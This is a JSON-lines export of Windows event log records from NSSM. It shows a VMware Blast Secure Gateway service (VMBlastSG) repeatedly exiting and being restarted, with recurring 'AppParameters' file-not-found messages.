{"@timestamp":1646781052944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163651}}
{"@timestamp":1646781052944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163652}}
{"@timestamp":1646781052945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163653}}
{"@timestamp":1646781181553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163654}}
{"@timestamp":1646781181555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163655}}
{"@timestamp":1646781181556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159816","0"]}}},"module":"Application","provider":"nssm","sequence":163656}}
{"@timestamp":1646781181556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159816","159816","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163657}}
{"@timestamp":1646781181573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163658}}
{"@timestamp":1646781181574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163659}}
{"@timestamp":1646781181574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163660}}
{"@timestamp":1646781181575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163661}}
{"@timestamp":1646781310108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163662}}
{"@timestamp":1646781310108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163663}}
{"@timestamp":1646781310109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160516","0"]}}},"module":"Application","provider":"nssm","sequence":163664}}
{"@timestamp":1646781310110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160516","160516","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163665}}
{"@timestamp":1646781310128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163666}}
{"@timestamp":1646781310128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163667}}
{"@timestamp":1646781310129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163668}}
{"@timestamp":1646781310130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163669}}
{"@timestamp":1646781438700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163670}}
{"@timestamp":1646781438702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163671}}
{"@timestamp":1646781438702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160176","0"]}}},"module":"Application","provider":"nssm","sequence":163672}}
{"@timestamp":1646781438703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160176","160176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163673}}
{"@timestamp":1646781438719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163674}}
{"@timestamp":1646781438720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163675}}
{"@timestamp":1646781438720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163676}}
{"@timestamp":1646781438721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163677}}
{"@timestamp":1646781567216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163678}}
{"@timestamp":1646781567218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163679}}
{"@timestamp":1646781567219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160128","0"]}}},"module":"Application","provider":"nssm","sequence":163680}}
{"@timestamp":1646781567220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160128","160128","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163681}}
{"@timestamp":1646781567239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163682}}
{"@timestamp":1646781567239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163683}}
{"@timestamp":1646781567240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163684}}
{"@timestamp":1646781567241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163685}}
{"@timestamp":1646781695986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163686}}
{"@timestamp":1646781695987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163687}}
{"@timestamp":1646781695989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160032","0"]}}},"module":"Application","provider":"nssm","sequence":163688}}
{"@timestamp":1646781695990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160032","160032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163689}}
{"@timestamp":1646781696015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163690}}
{"@timestamp":1646781696016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163691}}
{"@timestamp":1646781696016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163692}}
{"@timestamp":1646781696017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163693}}
{"@timestamp":1646781824523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163694}}
{"@timestamp":1646781824524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163695}}
{"@timestamp":1646781824525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160704","0"]}}},"module":"Application","provider":"nssm","sequence":163696}}
{"@timestamp":1646781824526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160704","160704","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163697}}
{"@timestamp":1646781824543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163698}}
{"@timestamp":1646781824544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163699}}
{"@timestamp":1646781824545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163700}}
{"@timestamp":1646781824545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163701}}
{"@timestamp":1646781953037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163702}}
{"@timestamp":1646781953039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163703}}
{"@timestamp":1646781953039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","115892","0"]}}},"module":"Application","provider":"nssm","sequence":163704}}
{"@timestamp":1646781953040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["115892","115892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163705}}
{"@timestamp":1646781953056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163706}}
{"@timestamp":1646781953057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163707}}
{"@timestamp":1646781953057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163708}}
{"@timestamp":1646781953058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163709}}
{"@timestamp":1646782081563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163710}}
{"@timestamp":1646782081564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163711}}
{"@timestamp":1646782081565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159452","0"]}}},"module":"Application","provider":"nssm","sequence":163712}}
{"@timestamp":1646782081565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159452","159452","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163713}}
{"@timestamp":1646782081581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163714}}
{"@timestamp":1646782081582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163715}}
{"@timestamp":1646782081582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163716}}
{"@timestamp":1646782081583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163717}}
{"@timestamp":1646782210048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163718}}
{"@timestamp":1646782210050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163719}}
{"@timestamp":1646782210051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159208","0"]}}},"module":"Application","provider":"nssm","sequence":163720}}
{"@timestamp":1646782210052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159208","159208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163721}}
{"@timestamp":1646782210068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163722}}
{"@timestamp":1646782210069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163723}}
{"@timestamp":1646782210069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163724}}
{"@timestamp":1646782210070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163725}}
{"@timestamp":1646782338543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163726}}
{"@timestamp":1646782338544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163727}}
{"@timestamp":1646782338544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160108","0"]}}},"module":"Application","provider":"nssm","sequence":163728}}
{"@timestamp":1646782338545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160108","160108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163729}}
{"@timestamp":1646782338560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163730}}
{"@timestamp":1646782338561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163731}}
{"@timestamp":1646782338561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163732}}
{"@timestamp":1646782338562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163733}}
{"@timestamp":1646782467054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163734}}
{"@timestamp":1646782467055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163735}}
{"@timestamp":1646782467056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159896","0"]}}},"module":"Application","provider":"nssm","sequence":163736}}
{"@timestamp":1646782467057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159896","159896","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163737}}
{"@timestamp":1646782467076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163738}}
{"@timestamp":1646782467077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163739}}
{"@timestamp":1646782467077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163740}}
{"@timestamp":1646782467078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163741}}
{"@timestamp":1646782595581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163742}}
{"@timestamp":1646782595582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163743}}
{"@timestamp":1646782595583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157864","0"]}}},"module":"Application","provider":"nssm","sequence":163744}}
{"@timestamp":1646782595583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157864","157864","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163745}}
{"@timestamp":1646782595599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163746}}
{"@timestamp":1646782595600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163747}}
{"@timestamp":1646782595600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163748}}
{"@timestamp":1646782595601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163749}}
{"@timestamp":1646782724086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163750}}
{"@timestamp":1646782724087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163751}}
{"@timestamp":1646782724088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159760","0"]}}},"module":"Application","provider":"nssm","sequence":163752}}
{"@timestamp":1646782724089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159760","159760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163753}}
{"@timestamp":1646782724108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163754}}
{"@timestamp":1646782724109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163755}}
